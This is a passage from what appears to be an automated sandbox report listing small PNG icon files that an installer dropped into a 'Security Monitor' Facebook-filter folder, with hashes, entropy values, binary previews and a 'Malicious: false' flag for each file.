Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Privacy.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Security.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Settings.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Subscribers.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\Welcome.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-0FLQ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	6.94896891695791
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te4bUHmsrNAhcSAZF8qYe+QRePg5gJjsDzEm2I81SwJL2l/sc:6v/78/nXUfyFM8q5Ig5gIzjMZSN
MD5:	4C24F1DEA3731AF8E87753BF5809B7AA
SHA1:	E66175AEF9B3B505215D5B8E2502C78A6662493A
SHA-256:	501002F4107D366ABFD5659C858B56EF0A46C053236A83C2BF44AEAA4D41F510
SHA-512:	7AE28379921677BAAD7C011A4FD5D8BC61740A4F4F51D4C726B7765AD0FA4FAE098F3B3EC6E05043DB050F2E0028265DE7A2FE7943A6462790B590FF8787C917
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8OcH....V. ..c..@._\|xD....4.....a.......:r.A\..?..dt.A....'.A.P.x...H".e...}...O....H.n..G..#cl. k...b.....#cl. ..s...W..............l..n.......A.$.w...g..0<E....}...Y.,.7...s..S..?y...A.%].Q0..dq.. ...'U.DE....3.Y.l...........HpJ.e@......?y..'~...n.@.q*@....Pm...uJ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-17G87.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	288
Entropy (8bit):	6.530333940085824
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNpjvb61Qo2SAo+yeZG7q5Vp:6v/78/n+jDqQmEyeZ8g
MD5:	EE2EC82FDFACF590ED0211B44987C617
SHA1:	71F0AFC24952BB5C2F334C56F801470176BCCEC2
SHA-256:	F8199692B7CE8D0C77D9DED524F679D64FF7723421345425B431EE933868AAC0
SHA-512:	220A8C913FED060F38FCA7835D508D8D88531EF940532E8173257741433ED7FB21223CD2EE1EDDB5E770BD44AA632F8B043481CED038167901D65C74A6CC6192
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`...:.?...?....8H...`C.*\.a....V.1H.........>...ge..\|...w..'...A.... 5-..`..U.}R.I. }.......y..).5..7.s.....u...?.p...t>..$.R.l ..[aR.O......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-1A72T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-1MKF6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-4AD6P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-4KPTH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	362
Entropy (8bit):	6.744489136613283
Encrypted:	false
SSDEEP:	6:6v/lhPOtBUswMR/C+wZA3teVVIqGKvSdmD4lK6mj9I4OPDWwnqtzzfQ27r8aCwt2:6v/7K2sb/nK5GUonx4NMqtzzIorTtxdu
MD5:	0BAB4FC0FAACC30AC714DB34333BAA54
SHA1:	C5AA05973E3267D60F2C927AB67B16FCE8929118
SHA-256:	4E79FBF438C1F6B197D15B08619BCCF862E7076D11C75D0B9CE3007711D94347
SHA-512:	06B09980DB26DA14FB0E80EC2831A9B377112E97EAEAFF967221170A5E3D7FE70B940CCE934629CE0451D41457F1705D76B1E64181D8A9D062FA0C4BD77E34AE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............,.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.6..Z......7c...x....>\|.Aj@j.......`....;...F6.l.....@...A....R.3....g..f.......@.+p........R.....i.:r...Hid3(.Q.....6.G...*.#...>!`...j.r... K@.a...?r4"kD.Z..h......x..B.^......D.....`.@5..n....5.r.>y.E.".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-5SAC9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.365804366050187
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teZ439CTUXhR7P/jlOS+sknw69p:6v/78/n1NuUXP7PIS+sknTT
MD5:	845E4E3FF8D9BA304B19010CCBD47312
SHA1:	04EB66B1136F8CE4B6564B32E4BB48A48CDF245A
SHA-256:	52F38FE15504A9E7372B94C8881D1304C718673192CD64F0B90696F2BDC797A1
SHA-512:	84BE706BEF872CC3705ECEC96C227285FC1AC3FB6DAAAD1175C6F70DB5D4603BA5859869BD1DB4AB539193971252AE0CACC7C4D769DF589C221280E15DCDB564
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....rIDAT8Oc...?.%..9.r.....$a...^...j..'....._......H6.Y3Y...L...6..i4........0>.. )D..Ah.k...-[pbX."...D...83Q.........@X....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-8BHRF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-8CTU4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-ATSIL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	386
Entropy (8bit):	7.00776812280233
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tedVeog/dmQEyGZ34lO47R4pyOcVuAUrm7OGBQ6bp:6v/78/nyA5dmQHuU7SpyOcVtz/Bt1
MD5:	9321CA9A72F08DDF4987816DDCA3D413
SHA1:	DF2EE42EB884D660440C3EBE6D8227EA443DE23A
SHA-256:	46BD2F7186989CAA26BF20092F0BDBA9EC94357A69940F6C8EA16E8E5C0FAEA7
SHA-512:	F37F4348594CB29622B0CEFBD8515772DE49DE8040F906209D6EA44844BDBDDE1C88DF1167B13AFF3D3BF59A41831E7895EF1B4F5C03774B1060BD8FF5D76EAA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O./..P........a.h...a..n0..e.."XV.k........9........x....s.o.M.Z..}1MSt]W .+.....M.....E.$I.@.G.0...LA...X.%.a(..Q+6...Tr.*.h..@...9.54j.&.....JcnL.G...x.T..........Z...h.6....<..V..j..<y.f.@S2...d...O..^.T....T...{2..u.....=.q..x.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-ERNNR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	6.6701546506374205
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teRZQUgXtmGvGDJ0IkloKlVJjh60HEwTp:6v/78/nGboZvGDQbRF9
MD5:	CC83BBCB39E5B47545CBDFBABFE69864
SHA1:	C2EBFD1842B6877B69F32E00AE7A55BCFA063802
SHA-256:	71197BC1C1D20F42851D4F5ABD91CD47D6C52E9C0100CEC8FBCC57B2E515B4B3
SHA-512:	929369F0D508A6326C0019701CA56E4694109DF2D2EE5372B6F2227F16E7FAC367263CF4065E8E493CC2D69129C116D582076040CBC71A70AF4CCD128BC62165
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc` ..t.>....9A.@E.../...b. ...`..H...Ob..).j...?.q..........0A5&!..r..T\|1A......c.Wpj..R....I.....4......K......@z....4......../ ?.;~..o.4.....(.......E%z....J.@J@"..r.....".#....4.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-FRQB7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	409
Entropy (8bit):	7.015430309226083
Encrypted:	false
SSDEEP:	12:6v/78/ntuuZyeN46QM3TNzORtgDjrSNNXH:j1yA47QRORtgXuL
MD5:	45409D06153FF84BDB5AB3E30C7CAB12
SHA1:	AB84313D7A29E9D9C6308E3B99CB247AAADE34C4
SHA-256:	52611BFC775199483CF8216F2FAEC18FD56B9D895A1173338B36BE5F14F5FC06
SHA-512:	7C21E74A7787B1F26F0A5A4ADC4B4D469C069F6A066E4AE45D72F5515696313BAEC74C9435E04B812521339918E08E2136EBAA81E4351053AF9D372BB372F377
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O.S...0....fH&........3S.......f0s.}......Z...5...-,aM^zw.{}m..2..x...2.YC....$..u..........9I..-...(.R wf.G..0....>+...lr..f../R*q.q.3.......4M.`..q.c.....$6M..1&.K.F{.6....U=I..?...M.h1dFQd.`.#...zew..\.EAA......v...$...\.$.S.....K.W.b.d...w.....R.F......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-IVL6J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-K2SLJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	307
Entropy (8bit):	6.610384624893472
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tepODZkidAJRzwBtNpQ+YiMpOhbi9eo77Vp:6v/78/nffTBvpQRiombi9j7
MD5:	06CE05DA1418C5F5B952911492F1D313
SHA1:	17A0D4EBD1E5A5BD338ECCAEF1CA9944EEC7C156
SHA-256:	380154EAE1DE86B8AA27433A0044FBB471A0C067E14DD8DD740F6419A06F0EFB
SHA-512:	3735BF636D31B885B429EA1C70CCC3850666A801C53B40F5570EF584D6180486E22A06DB31757987DDC5EDBB209CBF2790A8DB2566C8962107519CEC75F7A871
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.p.i.....da.^.....>..Az..x{{...g..^ ..7...a....@.c.............>0...5.W.X...;......765.....b]........... .06..`~.?........0Y..{......_......,..Kqf....l9pA}....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-M0D24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	410
Entropy (8bit):	6.98484459691547
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teDEQYCdbzRpDoi7/hZTnWjiGTwiHiyiTVd7UiBwUCmi7yp:6v/78/nKEQYyb9pEm/DWjMJLiZ974
MD5:	0FB46F0A45701EA2D22DCAB7E82C8B5D
SHA1:	71FE89922F1F4DE4C1F7101607A18402F436069A
SHA-256:	C28F498E0C59B1E3741850574D9E7F9282D4BA6F90BFE175B3F24B69561A52EC
SHA-512:	B1E780BDED7AD696E28DC20FA8FEDC11C7A423D134083A6F24DA9D6044D67D1997FED26425939523B02B044FDBEA28D2C05BA039C5024B43DD87C4CECF88CD9C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8O..K..0..=....^....\.J.**.. ...Ek...T..Vt..$&}D...tf..3mRF.E.BQ+......r.....N?......O..A6.t...r.@G..r.P..r..P.1V... ;@.E..E..XS.Q@.@... ,...W......Y.#..{.p..3@........ ..`!@@w.#...."...\|6.D.....=..(....\|...<.@.Z.......b]....7;Z....~..K...7AN...'...L..P.......IEND.B`.

